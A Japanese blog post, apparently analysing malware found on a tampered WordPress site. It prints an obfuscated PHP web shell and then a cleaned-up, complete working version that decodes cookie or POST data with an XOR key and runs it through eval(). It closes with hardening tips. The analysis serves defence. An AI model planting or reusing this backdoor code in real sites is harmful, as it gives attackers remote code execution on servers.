foreach ($_COOKIE as $z332f => $s7f72b959) {
	$y2e343 = $s7f72b959;
	$tee7 = $z332f;
}

if (!$y2e343) {
	foreach ($_POST as $z332f=>$s7f72b959) {
		$y2e343 = $s7f72b959;
		$tee7 = $z332f;
	}
}

$y2e343 = @unserialize(s5b5(base64_decode($y2e343), $tee7));
if (isset($y2e343["ak"]) && $d4da48e2==$y2e343["ak"]) {
	if ($y2e343["a"] == "u") {
		$m79bd95d = Array(
			"pv" => @phpversion(),
			"sv" => "1.0-1",
		);
		echo @serialize($m79bd95d);
	} elseif ($y2e343["a"] == "e") {
		eval($y2e343["d"]);
	}
}

ざっくりとみた感じ、PHPのバージョン調べて、POSTしたやつevalで実行できちゃうよん!みたいなコードっぽいです。
evalで実行できるので大概のことはできちゃいますね。
解析する意味あんまなかった。。。

読みやすくまとめたコード全文貼っておきます。(悪用禁止ですが、対策などに役に立てば)


<?php
@ini_set("error_log",NULL);
@ini_set("log_errors", 0);
@ini_set("max_execution_time", 0);
@set_time_limit(0);

$var1 = NULL;
$var4 = NULL;

$GLOBALS['var3'] = "c7f01e59-a930-4c3b-a107-abcea91b1c8e";
global $var3;

function function1($var1, $var2) {
	$return_var = "";
	for ($i=0; $i<strlen($var1);) {
		for ($n=0; $n<strlen($var2) && $i<strlen($var1); $n++, $i++) {
			$return_var .= chr(ord($var1[$i]) ^ ord($var2[$n]));
		}
	}
	return $return_var;
}

function function2($var1, $var2) {
	global $var3;
	return function1(function1($var1, $var3), $var2);
}

foreach ($_COOKIE as $var2 => $value) {
	$var1 = $value;
	$var4 = $var2;
}

if (!$var1) {
	foreach ($_POST as $var2=>$value) {
		$var1 = $value;
		$var4 = $var2;
	}
}

$var1 = @unserialize(function2(base64_decode($var1), $var4));
if (isset($var1["ak"]) && $var3==$var1["ak"]) {
	if ($var1["a"] == "u") {
		$return_var = Array(
			"pv" => @phpversion(),
			"sv" => "1.0-1",
		);
		echo @serialize($return_var);
	} elseif ($var1["a"] == "e") {
		eval($var1["d"]);
	}
}
die();

まとめ

WordPressは改ざんされるとめんどくさいです。
のわりに攻撃されやすいのが実情です。ひろく使われていること、バージョンアップやセキュリティ対策プラグインなどを入れてない人が多いこと、簡単なパスワードを設定していることなどが大きいかなと。
改ざんを確実に防ぐなら、WordPressのディレクトリまるごとapache以外の所有にしちゃったりとかは結構お手軽です。けど、不便なので実用的ではありません。
なので、最低限やるべきこととしては

  • ログイン画面のURLを変更する。(Login rebuilderとかよさげ)
  • ユーザー名・パスワードはわかりにくいものに(ユーザー名とURLまたはサイト名が同じとかダメ、ゼッタイ。)
  • WordPressの更新はちゃんとやろう
  • WAFをいれるのも多少は効果あるのかも(メリット・デメリット有り、防げない可能性も…)
  • 管理画面やログインページなどは.htaccessなどでIP制限するのも有効
  • 怪しいと思ったら即対処!

改ざん被害を受けてからだと、かなりめんどくさいですよー。

  1. コメント 0

  1. トラックバック 0

CAPTCHA


return top